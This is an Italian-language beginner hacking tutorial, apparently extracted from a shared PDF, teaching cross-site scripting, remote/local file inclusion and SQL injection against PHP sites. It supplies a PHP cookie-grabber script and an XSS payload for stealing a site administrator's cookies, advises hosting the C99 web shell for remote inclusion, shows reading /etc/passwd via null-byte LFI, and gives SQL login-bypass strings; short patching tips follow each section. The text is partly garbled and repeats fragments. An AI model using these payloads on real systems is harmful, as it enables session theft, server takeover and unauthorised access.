[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection

Dimensione: px

Iniziare la visualizzazioe della pagina:

Download "[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection"

Basilio Parente
8 anni fa
Visualizzazioni

1 _/ / _ / / \ \/ / / / / \ / \ \ \ / /_/ \ /\ / \ \ \ / /_/ > Y \ \ \ >\_/ / > / \ / / \/ \/ \/ \/ / / \/ Accenno alle Tecniche Più Famose Autore: DevilAuron For Info: [1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection

2 Cross Site Scripting Xss Il Cross Site Scripting è una tecnica effettuata tramite immissione di codice javascript via input. Uno dei suoi scopi principali ( non l unico ) è quello di impossessarsi dei cookie della vittima. Immaginiamo di avere una pagina con un sorgente come questo: index.php: print $_GET['variabile']; E proviamo a inserire un alert nella variabile GET: ci apparirà semplicemente un alert con scritto 1. Ma questa tecnica (apparentemente innocua) è molto utile. Proviamo a rubare i cookie dell admin del sito con una xss: Innanzi tutto ci serve un Cookie Grabber, /* */ $cookie = $_GET['cookie']; // $time = date("y-m-d G:i:s A"); // Segna la data $wr = fopen("cookies.html", "a"); //Apre il file cookies.html fwrite($wr, 'Cookie: <b>:.$cookie. </b><br>'); // Stampa I Cookie fclose($wr); // Chiude il file Bene.. ora, dopo aver trovato una xss cerchiamo di sfruttarla in questo modo: document.cookie</script> Inviamo la pagina all amministratore del sito e andiamo a visitare la pagina cookies.html, dentro ci troveremo dentro i cookie dell admin ^^ Patching Ma come faremo a proteggerci da questi attacchi? Fortunatamente gli sviluppatori del php hanno inventato le funzioni htmlspecialchars e htmlentities: Ecco un esempio di codice NON vulnerabile: print htmlspecialchars($_get['variabile']); Oppure: print htmlentities($_get['variabile']);

php: print $_GET['variabile']; E proviamo a inserire un alert nella variabile GET: http://sito.it/index.php?variabile=<script>alert(1)</script> ci apparirà semplicemente un alert con scritto 1.

3 Provate ora e vedrete che andando su comparirà più l alert ^^ Remote File Inclusion File Inclusion (Remote/Local) Il Remote File Inclusion ( RFI : Inclusione di file da remoto ) è una tecnica che consiste nell includere file esterni (in un sito vittima ) Consiglio per chi è alle prime armi di scaricarsi la shell C99 e salvarla sul proprio sito in formato txt (mi raccomando non php, altrimenti il file verrà intepretato sul NOSTRO server) Ora supponiamo di avere una pagina vulnerabile di questo tipo $vuln = $_GET['rfi']; include ($vuln); Questo è chiaramente uno script vulnerabile a attacchi RFI poichè include file non specificati e quindi è possibile includere anche file esterni (remoti) Quindi potremo attaccare il sito in questo modo: Ma cosa sono quei segni alla fine? (?cmd=ls) Immaginiamo che al posto del codice scritto prima avessimo una cosa del genere $vuln = $_GET['rfi']; include ($vuln. '/boh.php'); In questo caso mettendo senza punto interrogativo il server includerà il file E chiaramente darà errore Invece aggiungendo?cmd=ls (comando *nix) mi aprirà la pagina E includerà correttamente la nostra shell NB: basta aggiungere solo il? (punto interrogativo) che?cmd=ls Local File Inclusion Il Local File Inclusion ( LFI: Inclusione di file locali ) è una tecnica molto simile al RFI ma può includere solo file interni al server Per esempio potremo chiedere al sito i nomi degli user e le password in questo modo:

consiste nell includere file esterni (in un sito vittima ) Consiglio per chi è alle prime armi di scaricarsi la shell C99 e salvarla sul proprio sito in formato txt (mi raccomando non php, altrimenti

4 Ma forse molte volte questo attacco non farà nessun effetto Perché se il sorgente è simile a questo: $lol = $_GET['lol']; include("$lol.php"); Tenterà di aprire il file../../../../../../../etc/passwd.php (e naturalmente darà errore) Quindi inseriamo alla fine %00 (null byte): E molto probabilmente così funzionerà ^^ Patching Sia per il RFI che per il LFI il consiglio che do è quello di non includere variabili non controllate ma di specificare sempre la cartella da dove includere files Per Esempio: $lol = $_GET['lol']; include("$lol.php"); Lo Faremo diventare $lol = "./"; include("$lol". "pagina.php");

5 SQL Injection Prima di vedere questa tecnica è necessaria una conoscenza del linguaggio SQL Al giorno d oggi (quasi) ogni sito usa un database (quasi sempre) MySql. Possiamo mandare al nostro database dei valori sia in forma GET che POST Per provare se un sito è vulnerabile proviamo a inserire ' nel campo user (o password) Se apparirà una cosa simile: Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark before the character string '''. Il sito molto probabilmente sarà vulnerabile. Analizziamo come mandare al database dei valori tramite GET: Innanzi tutto stabiliamo le due variabili (in questo caso name e pwd) $name = $_GET['username']; $pwd = $_GET['pwd']; Ora scriviamo la query sql $boh = mysql_query( SELECT * FROM nometabella WHERE username='$name' AND pwd='$pwd' ); e proviamo ad inserire in entrambi i campi questo codice : ' or '1'='1 O ancora più semplicemente or ''=' or ''='&pwd=' or ''=' Cosa succede? La pagina manda questa query al db: SELECT * FROM nometabella WHERE username='' or ''=''AND pwd='' or ''='' Quindi ci loggheremo (senza aver fornito le credenziali) senza problemi ^^ NB: in verità basterà inserire solamente nel campo della password il codice: SELECT * FROM nometabella WHERE username=''and pwd='' or ''='' Patching: Vediamo come patchare i codici riportati qui sopra:

OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark before the character string '''. Il sito molto probabilmente sarà vulnerabile.

6 Ci sono due modi, uno è usato quando il valore è letterale, l altro quando è numerico: Nel primo caso si usa la funzione mysql_real_escape_string che (quasi come l htmlspecialchar per le xss) filtra i codici malvagi: $pwd = mysql_real_escape_string ($_GET['pwd']; Mentre per i valori numerici (interi) si aggiunge un (int) : $userid = (int) $_GET['userid']; In questo caso tutto quello che non è numerico non viene considerato. Bene.. Anche questo tutorial è finito ^^ Spero di avervi chiarito qualche dubbio, per qualsiasi domanda mi trovate su

Mentre per i valori numerici (interi) si aggiunge un (int) : $userid = (int) $_GET['userid']; In questo caso tutto quello che non è numerico non

7 // S & S Style - DevilAuron - - Devils Night Crew

Documenti analoghi

--- PREMESSE INTRODUZIONE. .:luxx:.

--- PREMESSE INTRODUZIONE. .:luxx:. SQL INJECTION --- SICUREZZA.:luxx:. PREMESSE Questa guida accenna ad alcuni metodi di SQL injection e si sofferma sulla prevenzione di tali attacchi, per comprendere al meglio il testo è necessaria una